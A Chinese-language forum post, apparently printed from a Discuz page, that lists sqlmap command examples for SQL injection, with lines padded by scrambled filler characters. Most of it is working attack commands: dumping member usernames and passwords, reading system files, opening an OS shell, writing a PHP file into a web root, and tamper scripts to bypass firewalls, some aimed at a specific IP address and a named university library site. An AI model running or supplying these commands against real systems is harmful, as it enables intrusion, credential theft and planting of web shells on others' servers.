中国网络渗透测试联盟

标题: sqlmap使用实例 [打印本页]

作者: admin    时间: 2017-5-19 17:03
标题: sqlmap使用实例
/pentest/database/sqlmap3 J, s# Y, a- P' M) o6 l4 b$ h
+ y& g/ u2 o+ e4 Q3 X( E, l
update :::::>     in the folder   after  execute    following   order : svn update" [9 m* Z$ D. W: Y4 I
$ x1 P: A$ g( G8 N
sqlmap.py -r 1.txt --current-db1 k+ q3 s6 M: [. W% {! s4 W6 Q
7 N/ }8 F% n( ~* E, Q
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”; b" H' }+ D+ \  s
: e. |+ u5 S0 y9 E
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
9 o. c& f( B# q* Q8 r5 r# S猜解数据库
1 B2 a* B# D& C5 I. r./sqlmap.py -u "injection-url" --dbs" X$ z5 `+ M( v# c4 H, t
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"& [% Z+ u, K5 k4 J  x( X

* Q0 a: M: P: D1 S8 B! w猜解表名
  Z$ f5 ~( C2 A6 X0 R' c' `./sqlmap.py -u "injection-url" -D database_name --tables
' a. m& A# R' |; K1 H9 @
) {/ g. _. j5 P0 s5 Z: K$ Usqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
& m: ~' q% F* n5 {3 `( vsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" - n5 l( D7 ?  v1 q
, Z  E7 l, J6 s0 R3 c: S
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
5 p. n" `6 G6 S& K% U6 o1 h( d* j2 r9 Q, @8 z1 N
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
1 B* b4 V6 m; dsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
. \( K" t+ ^9 U" t3 _sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
4 K: @) y$ y8 f: Y2 Bsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"3 g) r3 i/ b6 {9 J& n# t
2 X. r& L. {8 @4 `! l0 n% a# v$ W" J
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
" W5 I- W$ c5 B9 ksqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
) C% e# W; n% n+ jsqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py", x' s; D8 C1 A$ s, K
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
' R/ L2 K0 Q# h; L% o9 Dsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump; K/ F7 \. _$ @  j

7 H: V9 t' m; \, I/ c+ R. |6 Asqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了* w& e6 a( N$ J" p. j( K; _
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
, \9 V3 y! d0 V. W5 W8 d3 M! h3 ~1 ~$ c1 i& X, l6 j
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
; ]* F3 f0 l  \' v猜解列名. K2 _. ]. J! t& _# C: @6 U5 D
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
$ f3 q* E- j; e; Q9 d! @1 {( Z/ Z, R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 0 L0 @& w! l7 s
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 9 z$ D% s/ |8 y/ G% |, P. C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"4 z; ~; E# t( J( \- B  u# G
" C! J' D9 H' X7 G* k% V
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"& o4 n* Y3 F) M+ |( Y  [
&submit=Go+ h7 i6 [& M. p: L  i# f. S/ s- D
猜解值
1 R9 S1 [: Q6 L* }, J9 N  @. A./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
9 H5 \3 c8 {7 ?  ]" F( ^* m) K========================================================4 K" L9 M) D2 D1 e7 Q
搜索表名中包括mana字符的
* U9 [( h4 j) A9 \/sqlmap.py -u "injection-url" -T mana --search% r9 G/ p" z. w# p" ?" s2 o# ~& z
返回一个交互式sql shell
( K- R- C/ Z& G# B" \/sqlmap.py -u "injection-url" --sql-shell! c0 h! ?0 p+ N# W
读取指定文件(需权限)# r/ Q* K2 `+ |+ c5 v
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"! i* `. \6 K1 \- J4 z0 p! w
查看当前 用户 及 数据库
( L) R$ U. d* W/ a9 c  E/sqlmap.py -u "injection-url" --current-user --current-db- U8 v, K/ \, N
本地文件 写入 远程目标绝对路径
) X) N  o2 ^7 I4 T# B" V/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
& f- a7 H0 B2 p3 z: Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"   B' {. O3 `" z; i/ n

, b. w: v5 W2 g( Ssqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径5 J& P4 \9 }) j4 N# y6 A5 o, ]
查看某用的权限
4 g3 r  l* `# S  |1 z$ t0 k/sqlmap.py -u "injection-url" --privileges -U root( W+ K% b5 a( @" \1 g8 w3 X' }9 z' ?' f
查看当前用户是否为dba
) }$ q# v( T! h4 g$ B3 @/sqlmap.py -u "injection-url" --is-dba" `' D" }' ]2 g, @( H/ j6 \- O3 R
读取所有数据库用户或指定数据库用户的密码3 q5 a2 p; H9 Q8 C3 J) Q0 \8 V
sqlmap.py -r 1.txt --users --passwords7 B; x' a" {( `$ M' `& ?3 ?
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" " U$ X1 Y* O% J$ `3 ?

6 `, J& s' \% ^- c/sqlmap.py -u "injection-url" --passwords -U root
: j  q9 F- ?4 D; T# H9 F' r! I' K: C  K4 q: E; u
--start&&--stop 与 --first&&--last 的区别7 G! D: Z# J/ L" |8 U5 y5 R+ e
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)' Z4 n6 S6 T* C9 b" ?, v

( n. h9 W% D) ~4 V& d7 T从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
6 O; V7 ~/ K! C7 Z6 x; z$ i/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
% u" O1 I# j) Y' @/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
, J9 a/ @5 Y+ [# c; Z; g2 I8 V5 @( @$ T/ C# f. K
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
- t, J" Q" C  L" w8 Y  o9 f/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip") j) \. a7 i4 |" z) X, W
5 i/ n- u/ C  w" v





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2